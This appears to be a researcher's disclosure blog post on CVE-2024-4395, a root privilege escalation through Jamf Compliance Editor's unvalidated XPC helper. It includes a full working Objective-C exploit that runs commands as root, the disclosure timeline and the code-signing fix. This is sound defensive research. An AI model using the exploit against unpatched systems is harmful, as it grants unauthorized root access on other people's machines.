CVE-2024-4395: Jamf Compliance Editor Privilege Escalation
Hm seems I might be writing more security blog posts than I expected 🤔. Well anyways, I’m here with another exploit! This time with Jamf Compliance Editor, and local privilege escalation through an unguarded XPC service 🎉
And while this blog post is a demonstration of privilege escalation, Jamf Compliance Editor is genuinely a great free tool! Highly recommend it for anyone looking to create compliance baselines for macOS.
- Resolved version: v1.3.1 and newer
- Official Source: Establishing Compliance Baselines
- Mirrors:
- Affected versions: v1.3 and older
- Mirrors:
- Proof of Concept:
- Source Code: jce_exploit.m
- Video Demo: Exploit Demo.mov
- CVE Associated: CVE-2024-4395
- Compensation: $500 USD
- Discovering the vulnerability
- Fun Fact: You need to actually use the apps you’re reversing sometimes
- Creating a Proof of Concept
- Reporting Process
- A vendor that listens?!?
- Verifying Jamf’s work
- Conclusion
Discovering the vulnerability
So I have this very, very bad habit. Every application I download, I reverse engineer it to get an idea of how it works… This becomes a problem when I have actual work to do, like researching NIST compliance at work.
Well, that’s how I found Jamf Compliance Editor, an amazing GUI application that handles the creation of baselines and even performs audits of your machine.
When I downloaded it, I checked to see what files were bundled inside. Here I noticed a Launch Daemon, which intrigued me:
Following the Launch Daemon’s BundleProgram
property, we see it points to Contents/Resources/com.jamf.complianceeditor.helper
. When I opened this XPC executable up in Hopper Disassembler, my first thought was “I wonder how Jamf performs client validation, maybe they have a neat method”:
Wait a minute, there’s a problem here… Where’s the client validation?
- See these many amazing blogs and presentations on why that’s terrifying:
Fun Fact: You need to actually use the apps you’re reversing sometimes
Once I found that the XPC service lacked any client validation, I started to believe it was an unused binary. “No way, Jamf wouldn’t forget to do validation”. However as I was reversing the core binary more, Contents/MacOS/Jamf Compliance Editor
, I found that under sub_100012060
the application does implement a code path to install the helper service:
However, when I first opened Jamf Compliance Editor, no launch services were installed… How do I get this code path to kick in then?
Well after more time than I’d like to admit, I figured out the launch service is only installed if you perform an audit on the host. Otherwise, Jamf will just create all the baselines as the current user.
Steps to load the daemon:
- Run Jamf Compliance Editor
- Create a new project
- Create Guidance
- Perform audit
Step 4 is greyed out until a Guidance is created first:
And now the daemon is trying to be loaded!
Creating a Proof of Concept
Now that I confirmed the XPC service is being used, the next issue is actually proving it’s exploitable. Within the XPC’s helper class, I found this fun function:
-[com_jamf_complianceeditor_helper.Helper executeScriptAt:arguments:then:]
An easy demonstration of local privilege escalation!
Now throw this into a quick Obj-C script (shout out to Csaba Fitzl’s CVE-2021-26718 for the basis!) and we’re off to the races:
- jce_exploit.m
- Note the rendered version below is simplified, the actual file contains the optional ability to pass custom commands to run as root.
/*
Jamf Compliance Editor Helper Service - Local Privilege Escalation
------------------------------------------------------------------
Discovered by Mykola Grymalyuk of RIPEDA Consulting
------------------------------------------------------------------
Compile Steps:
clang -framework Foundation -o jce_exploit jce_exploit.m
------------------------------------------------------------------
Exploit based on Csaba Fitzl's CVE-2021-26718:
- https://hackerone.com/reports/980876
*/
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.jamf.complianceeditor.helper";
@protocol HelperExecutionService <NSObject>
- (void)executeScriptAt:(NSString *)scriptPath arguments:(NSArray<NSString *> *)arguments then:(void (^)(NSString *result, NSError *error))completionHandler;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
__block int returnCode = 0;
NSString* serviceName = kXPCHelperMachServiceName;
NSLog(@"Exploiting service: %@", serviceName);
NSXPCConnection* serviceConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged];
[serviceConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(HelperExecutionService)]];
[serviceConnection resume];
id service = [serviceConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"Error connecting: %@", error);
returnCode = 1;
exit(returnCode);
}];
NSString *command = @"/usr/bin/whoami";
NSArray *arguments = @[];
NSLog(@"Executing '%@'", command);
[service executeScriptAt:command arguments:arguments then:^(NSString *result, NSError *error) {
if (error) {
NSLog(@"Error: %@", error);
returnCode = 1;
} else {
NSLog(@"Result: %@", result);
}
[serviceConnection invalidate];
exit(returnCode);
}];
[[NSRunLoop currentRunLoop] run];
}
}
And with that, the exploit works!
Reporting Process
Following the Jamf Vulnerability Disclosure Program, we advised Jamf to add setCodeSigningRequirement
during the client connection process. Do note that setCodeSigningRequirement
requires macOS 13.0, Ventura, or newer to use, which Jamf Compliance Editor already requires as a minimum. If your XPC service requires older OS support, use SecCodeCheckValidity
.
- Also notice the triage time? 3 minutes!!!
Sender | Topic | Date |
---|---|---|
RIPEDA | Initial Report - 90+30 Day Disclosure | 1:45pm - February 21st, 2024 |
Jamf | Triaged, severity P2 | 1:48pm - February 21st, 2024 |
Jamf | Author of program notified, confirmed patch within 90 days | 2:07pm - February 21st, 2024 |
Jamf | Patch created, ready to test | February 23rd, 2024 |
RIPEDA | Verified patch works, request for PKG distribution | February 23rd, 2024 |
Jamf | Confirmed PKG in process of being signed and notarized | February 29th, 2024 |
Jamf | Final PKG created, ready to test | March 14th, 2024 |
RIPEDA | Confirmed PKG resolves issue | March 15th, 2024 |
Jamf | JCE 1.3.1 releases | March 19th, 2024 |
Jamf | Notified us of 1.3.1 | March 20th, 2024 |
Jamf | Slack message crediting us | March 22nd, 2024 |
RIPEDA | Reminded 30 day disclosure approaching, providing blog draft | April 15th, 2024 |
Jamf | Awarded $500 USD | April 15th, 2024 |
RIPEDA | Inquiring on CVE ID status | April 30th, 2024 |
Jamf | Waiting on CVE process | April 30th, 2024 |
Jamf | CVE-2024-4395 assigned | May 1st, 2024 |
A vendor that listens?!?
When we got the initial Jamf Compliance Editor fix, we raised a vulnerability concern related to the upgrade flow. Specifically if a user downloads 1.3.1 and replaces the app in /Applications
, the vulnerable XPC service would still be active until it’s either either manually reloaded or the system reboots.
We proposed a solution through PKG distribution, and employing pkgutil’s relocation support.
The surprising part? They listened!
Verifying Jamf’s work
Now when we load up v1.3.1’s XPC service, we see shouldAcceptNewConnection
has a new function call:
Following it, we see Jamf has implemented the setCodeSigningRequirement
API which will verify the client against the following code signature:
anchor apple generic and identifier \"com.jamf.complianceeditor\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \"483DWKW443\")
- Breakdown:
anchor apple generic
: Signed by Apple issued signing certificatecom.jamf.complianceeditor
: Client Application Bundle Identifiercertificate leaf[field.1.2.840.113635.100.6.1.9]
: Mac App Storecertificate 1[field.1.2.840.113635.100.6.2.6]
: Developer ID Certificatecertificate leaf[field.1.2.840.113635.100.6.1.13]
: Developer ID Leafcertificate leaf[subject.OU] = \"483DWKW443\"
: Jamf Team ID
- References:
And when we compare this to the main app’s code requirements, they match!
/usr/bin/codesign --display --requirements - "/Applications/Jamf Compliance Editor.app"
Now when we run our exploit, it fails as we’d expect 🎉
Conclusion
I have to say, this disclosure process was one of the best I’ve dealt with to date. My only real “critiques” were lack of compensation originally (which they later gave!) and proper credit initially (which after a request, we got a shout-out on the MacAdmin’s Slack with plans to credit us in the changelog on CVE publication!).
Happy to say we now have more secure MacAdmin software than before! 🎉